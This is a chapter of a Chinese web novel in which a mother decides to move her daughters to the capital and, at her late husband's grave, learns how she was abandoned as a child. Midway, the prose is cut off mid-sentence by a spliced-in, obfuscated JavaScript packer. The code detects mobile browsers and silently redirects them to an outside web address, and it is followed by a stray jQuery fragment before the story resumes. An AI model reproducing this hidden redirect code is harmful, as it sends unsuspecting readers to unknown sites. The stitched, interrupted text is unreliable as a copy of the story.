既然已经认亲,老夫人自然免不了说起回京城的事。
“既然认了亲,自然要回京城去。”老夫人握着叶菁的手说道。
叶菁低头不语。
“东海县终究是小地方,”老夫人继续道,“两个姐儿日后能寻到什么好人家?就算是为了她们着想,也该回京城。”
“京城虽好,可她们自小在乡野长大,如何比得上那些贵女?去了只怕要受委屈。”叶菁忧心忡忡道。
老夫人拍拍她的手:“锦姐儿和芳姐儿都是聪明孩子,请个好先生教导,不出半年就能赶上。”
“况且……”老夫人叹了口气,“我们母女分离十几年,如今好不容易相认,你就忍心让为娘一个人回京?”
叶菁眼眶微红:“女儿自然想侍奉母亲左右,只是京城高门大户的规矩……”
“规矩都是人定的。”老夫人打断她,“你是我女儿,谁敢说三道四?”
“还有李家那些人,”老夫人神色凝重,“如今安分,可若知道你们有了依靠,难保不会起坏心思。他们毕竟是长辈,真要闹起来……”
叶菁抿了抿唇:“我现在也不是从前那个任人拿捏的了。”
老夫人摇头:“人心难测。贪念一起,什么事做不出来?”
叶菁本也不是个特别有主见的,听了这些话,心里的天平已经摇摇欲坠。
就在此时,老夫人又加了一句:“况且,东海县后头几年,只怕也不是个好地方。那县令的事情出了之后,后头的人逃得快,不曾被抓住,日后免不了要在这里找些麻烦。锦姐儿偏偏又是在这件事中留了名的,只怕……”
老夫人这么一说,叶菁立刻就打定了主意,要跟着老夫人回京城去了。
她固然是对京城有些畏惧,又贪图东海县是熟悉的地方,可比起安全来说,一切都要往后排。
下定了决心,她抬头道:“母亲说得是。我们回京。”
老夫人喜得一把搂住她,手指微微发抖:“好孩子,好孩子……”
叶菁靠在母亲肩头,心头微暖。半晌,她轻声道:“走之前,我想去看看玉堂哥。”
老夫人身子一僵,笑容淡了几分。片刻后,她方才露出笑脸,点点头:“应该的。你们少年夫妻,本就情深,也是该好好道别。”
既然商议已定,趁着第二日天色晴好,叶菁就带了两个女儿回村里去给李玉堂扫墓。
如今她身份不同,出门排场自然大不相同。老夫人派了两个嬷嬷并数个丫鬟小厮随行,两辆青绸马车前呼后拥。
就连李云锦姐妹也被精心打扮过。李云锦一身月白衫子,发间只簪一支素银簪;李云芳穿着浅青色襦裙,头上扎着同色发带。
姐妹俩你看看我,我看看你,都觉得新奇又别扭。
李云芳晃了晃脑袋,有些想伸手把头上的发带扯下来,被李云锦制止了之后,叹道:“姐姐今天漂亮得很,就是做的事情不漂亮。”
李云锦点了点她的额头:“不让你动手就是不漂亮了?”
她叽叽咕咕地笑起来,趴在马车的窗口往外看:“姐姐,我们以后是不是就要去京城里了?到时候我还能天天出去玩吗?对了,我们是不是要叫叶少爷表哥了,那要叫老夫人姥姥?”
她皱着眉想了半天,感觉有点叫不出来。
外头骑着马的叶流空在外头听到里面的声音,哭笑不得,想要教训下这个连表哥都叫不出来的小朋友。可想想她若是去了京城,日子确实也不如在东海县过得肆意,心里面又生出怜惜,将刚才那点啼笑皆非都变成了“日后要对她好一点”的念头。
李云芳可不知道自己刚刚差一点就要被表哥捏脸,摇头晃脑将自己晃得睡着了,一觉睡到了林李村。
村里人远远看见这气派的车马,既好奇又不敢靠近。村长慌慌张张跑来,见到叶菁时目瞪口呆,还是方氏一巴掌拍在他背上才回过神。
听说叶菁要去祭拜李玉堂,村民们目送她们走远后,立刻议论纷纷:
“怎么突然这么阔气了?”
“听说认了门富贵亲戚……”
“该不会是……”有人刚要说难听话,就被旁人打断:“闭嘴!如今可不一样了,人家不管怎么样,现在是真富贵。要是还跟以前一样胡咧咧,当心你的脑袋!”
李玉堂的坟还是那个简陋的土包,木牌已经有些歪斜,字迹被雨水冲刷得模糊不清。叶菁扑在坟前泣不成声,李云锦站在一旁,望着那方小小的土堆,神色恍惚。
突然,随行的嬷嬷厉声喝道:“是谁!”
嬷嬷眼尖,一眼瞥见草丛晃动,厉声喝道:“是谁!”
两个壮实的小厮立刻冲进草丛,只听一阵窸窸窣窣的挣扎声。一个穿褐色粗布衣裳的妇人被揪了出来,她拼命扭动着身子,一手死死抓着草根不放。小厮甲扣住她的手腕一扭,她吃痛松手,小厮乙趁机按住她的肩膀。
“高美兰?”叶菁认出了这个林二家的媳妇,诧异道,“你在这里做什么?”
高美兰眼神闪烁:“我、我路过见这边排场大,就过来看看……”
李云锦眯起眼睛,突然道:“真的吗?上次特意把我们的住处告诉李老二的,也是你。这次真的只是过来看一看,莫不是……过来和李老二……”
高美兰脸色骤变,突然歇斯底里地尖叫起来:“胡说,胡说八道!李老二算什么东西,也就配得上叶氏这样的贱人!这个贱人,凭什么她过得这么好!要不是她,玉堂哥不会死!都是她这个扫把星的错!”
叶菁如遭雷击,泪水夺眶而出。
“放肆!”嬷嬷厉声呵斥,“李相公是我家娘子的夫君,轮得到你这个外嫁妇惦记?不要脸的东西!”
高美兰疯魔般大笑:“要不是她这个被家里不要的贱人,玉堂哥本该娶我的!”
李云锦眼神一凛:“你怎么知道她是被家里不要的?”
高美兰顿时语塞,支吾道:“被、被捡来的,不就是家里不要了……”
嬷嬷冷笑一声:“锦小姐不必与她废话。”转头对小厮道,“把人带下去,老身自有办法叫她开口。”
不多时,远处树丛后传来几声凄厉的惨叫。
叶菁却被高美兰的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238022|163187||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弄得恍恍惚惚,呆立在坟前,喃喃自语:“都是我的错……要不是我……”
李云锦推了推妹妹。小丫头会意,扑到叶菁怀里撒娇:“娘亲,芳儿有点怕,我们什么时候回家呀?”
不多时,嬷嬷独自回来复命,低声道:“问出来了。这妇人幼时曾见有人带着昏迷不醒的娘子,丢进了寄死窑。”
她顿了顿,目光看向叶菁身后不远处正皱着眉的叶流空:“据那妇人说,当时听见那两人抱怨,说‘这丫头已经奄奄一息,怕是要亏本’,另一人则说‘没想到她对自己这么狠’。”
寄死窑是村里处置垂死老人的地方,偏僻荒凉,十天半月也不会有人过去看一眼。
叶菁的身子猛地一晃,手指死死攥住衣角,指节都泛了白。她恍惚间仿佛看见当年那个奄奄一息的自己,孤零零地躺在阴暗潮湿的寄死窑里,气息渐弱的模样。
“老身这就去找村长和林二说道说道,”嬷嬷冷着脸拽着高美兰的胳膊,力道大得让那妇人疼得龇牙咧嘴,“让他们知道知道,有些话,可不能乱说。”
高美兰被拖得踉踉跄跄,鞋都掉了一只,哀嚎着求饶:“我错了,饶了我吧!”声音渐渐消逝在村道尽头。
叶菁站在原地,神色恍惚。坟前烧纸钱的火堆渐渐熄灭,只剩几缕青烟袅袅升起。叶流空默默上前,又添了几张纸钱,火苗重新跳动起来。
李云锦轻轻握住母亲冰凉的手:“娘,都过去了。好歹……您遇到了爹。”
“我当年也是金尊玉贵地养着……”叶菁仿佛根本没听到她在说什么,声音发抖,“也出了这样的事。如今我居然还要带着你们回去那里……若是你们有个三长两短,我又该怎么和玉堂哥交代……”
叶流空抬起头来,面无表情,声音却坚定:“姑姑不必担忧,叶家可不是什么人都能去的地方。”
一直陪在叶菁身边不曾发言的嬷嬷此刻也开口接话:“当年事后,府上又被清洗过好几回,一直太平到现在。姑娘放心,老奴拼了这条命,也不会让往事重演。”
出了这一桩事,一直到走,一群人都很沉默。嬷嬷小心翼翼地扶着叶菁上车时,远处突然传来急促的脚步声。
“叶娘子!叶娘子饶命啊!”村长和林二跌跌撞撞地跑来,扑通一声跪在马车前。村长额头抵地,不住地磕头:“小的有眼不识泰山,求您大人大量……”林二更是吓得浑身发抖,话都说不利索:“都、都是那婆娘胡说八道,小的回去一定好好管教……”
叶流空冷冷扫了他们一眼,转身对随从使了个眼色。两个壮实的家丁立刻上前拦住二人,不让他们靠近马车。
转念一想,他又招手叫来心腹,低声道:“去处理一下那个李老二,别让他再出现在姑姑面前。”
看到人被拦住了,他方才又露出以往那副笑模样,去和叶菁说话,逗李云芳了。
李云锦站在马车旁,最后回望了一眼林李村。炊烟袅袅的屋舍,熟悉的田间小路,还有远处那座小小的坟茔。她在心里默默道别,转身登上了马车。
这一去,大约就是另一番天地了。